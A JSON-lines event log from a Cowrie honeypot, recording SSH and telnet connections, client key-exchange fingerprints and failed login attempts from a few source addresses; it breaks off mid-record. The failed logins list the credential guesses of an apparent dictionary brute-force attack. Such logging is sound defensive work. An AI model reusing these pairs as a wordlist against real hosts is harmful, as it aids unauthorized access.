{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:54.525145Z","src_ip":"45.156.87.204","session":"00124dd4c137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:54.774397Z","src_ip":"45.156.87.204","session":"00124dd4c137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:55.860212Z","src_ip":"45.156.87.204","session":"00124dd4c137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45162,"dst_ip":"159.203.135.109","dst_port":22,"session":"b414aec73076","protocol":"ssh","message":"New connection: 45.156.87.204:45162 (159.203.135.109:22) [session: b414aec73076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:57.927370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:58.034086Z","src_ip":"45.156.87.204","session":"b414aec73076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:58.038392Z","src_ip":"45.156.87.204","session":"b414aec73076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:58.370628Z","src_ip":"45.156.87.204","session":"b414aec73076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:40:59.456435Z","src_ip":"45.156.87.204","session":"b414aec73076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.31111264228821,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:00.753054Z","src_ip":"152.42.224.71","session":"b55f3a59f852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45184,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fe11007c27f","protocol":"ssh","message":"New connection: 45.156.87.204:45184 (159.203.135.109:22) [session: 7fe11007c27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:01.408018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:01.412551Z","src_ip":"45.156.87.204","session":"7fe11007c27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:01.495658Z","src_ip":"45.156.87.204","session":"7fe11007c27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:01.744085Z","src_ip":"45.156.87.204","session":"7fe11007c27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51488,"dst_ip":"10.17.0.5","dst_port":23,"session":"982f51b7f7fa","protocol":"telnet","message":"New connection: 152.42.224.71:51488 (10.17.0.5:23) [session: 982f51b7f7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:01.860618Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51490,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ed2684bf942","protocol":"telnet","message":"New connection: 152.42.224.71:51490 (10.17.0.5:23) [session: 2ed2684bf942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:01.945834Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:02.984669Z","src_ip":"45.156.87.204","session":"7fe11007c27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51948,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc20293321e8","protocol":"ssh","message":"New connection: 45.156.87.204:51948 (159.203.135.109:22) [session: bc20293321e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:04.796665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:04.805249Z","src_ip":"45.156.87.204","session":"bc20293321e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:04.888681Z","src_ip":"45.156.87.204","session":"bc20293321e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:05.139173Z","src_ip":"45.156.87.204","session":"bc20293321e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.49066472053528,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:05.243543Z","src_ip":"152.42.224.71","session":"33d72e62c235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:06.230053Z","src_ip":"45.156.87.204","session":"bc20293321e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51954,"dst_ip":"159.203.135.109","dst_port":22,"session":"d03fe588ee23","protocol":"ssh","message":"New connection: 45.156.87.204:51954 (159.203.135.109:22) [session: d03fe588ee23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:08.122688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:08.127622Z","src_ip":"45.156.87.204","session":"d03fe588ee23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.34019207954407,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:08.294834Z","src_ip":"152.42.224.71","session":"f49dd040c48f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.26589345932007,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:08.300597Z","src_ip":"152.42.224.71","session":"ebac9441b2eb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:08.350999Z","src_ip":"45.156.87.204","session":"d03fe588ee23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:08.676078Z","src_ip":"45.156.87.204","session":"d03fe588ee23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.137595176696777,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:09.083312Z","src_ip":"152.42.224.71","session":"2ed2684bf942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:09.763191Z","src_ip":"45.156.87.204","session":"d03fe588ee23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.64658260345459,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:11.043801Z","src_ip":"152.42.224.71","session":"70d7da6c9c08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":98.12531304359436,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:11.172414Z","src_ip":"152.42.224.71","session":"f13253888057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.817553520202637,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:11.678030Z","src_ip":"152.42.224.71","session":"982f51b7f7fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51956,"dst_ip":"159.203.135.109","dst_port":22,"session":"193fe15b64c2","protocol":"ssh","message":"New connection: 45.156.87.204:51956 (159.203.135.109:22) [session: 193fe15b64c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:12.873620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:12.878261Z","src_ip":"45.156.87.204","session":"193fe15b64c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:12.960207Z","src_ip":"45.156.87.204","session":"193fe15b64c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:13.209356Z","src_ip":"45.156.87.204","session":"193fe15b64c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:14.295336Z","src_ip":"45.156.87.204","session":"193fe15b64c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54246,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aa3c7f546e7","protocol":"ssh","message":"New connection: 45.156.87.204:54246 (159.203.135.109:22) [session: 6aa3c7f546e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:15.167075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:15.174485Z","src_ip":"45.156.87.204","session":"6aa3c7f546e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:15.257519Z","src_ip":"45.156.87.204","session":"6aa3c7f546e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:15.511714Z","src_ip":"45.156.87.204","session":"6aa3c7f546e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.10175442695618,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:16.011256Z","src_ip":"152.42.224.71","session":"60135974f5d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":53852,"dst_ip":"159.203.135.109","dst_port":22,"session":"d72e250216c3","protocol":"ssh","message":"New connection: 124.155.125.131:53852 (159.203.135.109:22) [session: d72e250216c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:16.384522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:16.389701Z","src_ip":"124.155.125.131","session":"d72e250216c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":51220,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d23347cee86","protocol":"ssh","message":"New connection: 47.237.167.49:51220 (159.203.135.109:22) [session: 8d23347cee86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:41:16.456738Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-s